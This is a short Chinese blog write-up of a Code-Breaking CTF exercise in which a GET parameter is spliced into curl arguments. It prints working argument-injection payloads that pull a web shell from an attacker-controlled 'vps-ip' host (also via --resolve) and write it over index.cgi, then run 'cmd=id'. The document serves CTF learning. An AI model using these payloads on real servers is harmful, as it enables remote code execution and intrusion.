Code-Breaking bashinj WriteUp
code-audit2020/04/25
前几天P牛发了一个今年Code Breaking的小练习,感觉挺有意思,来记录一下
代码量不大,_dep/web.cgi
下都是一些实现http请求的基本方法,核心代码在index.cgi
中
逻辑比较简单,就是将get获得的name参数拼入curl的参数中
看到这个题的第一个想法是用反引号注入命令,但是这是走不通的,因为curl后面-v
以及地址是作为curl的参数被输入的,而name则是作为地址的一部分被插入curl的参数中,所以无论name的值为多少,它也不会逃出curl的执行范围,作为一个单独的shell命令去执行
所以这里唯有从curl下手,看看curl怎么控制,因为没有双引号,所以可以注入curl的其他参数
首先,可以用-T
的文件上传实现任意文件读,-w
可以写文件,开始尝试写一个shell.cgi
,但是写入之后没有执行权限,所以只能从index.cgi
入手,我是用了两个并列的请求,由于curl会把第一个-o
参数赋给第一个url,所以需要两个-o
参数
payload:/index.cgi?name=233 http://vps-ip/ -o /tmp/b -o /usr/local/apache2/htdocs/index.cgi&cmd=id
然后将vps上写的shell注入index.cgi
中,就可以命令执行
做完之后看评论区,发现还有很多有趣的思路可供参考,比如可以指定域名解析到自己的vps:--resolve httpbin.org:80:vps-ip -o /usr/local/apache2/htdocs/index.cgi
,还可以写一个http的代理,在curl中设置代理,来改变返回值。关于写文件也可以使用cookie的存储来实现,方法比较多,但是思路是相通的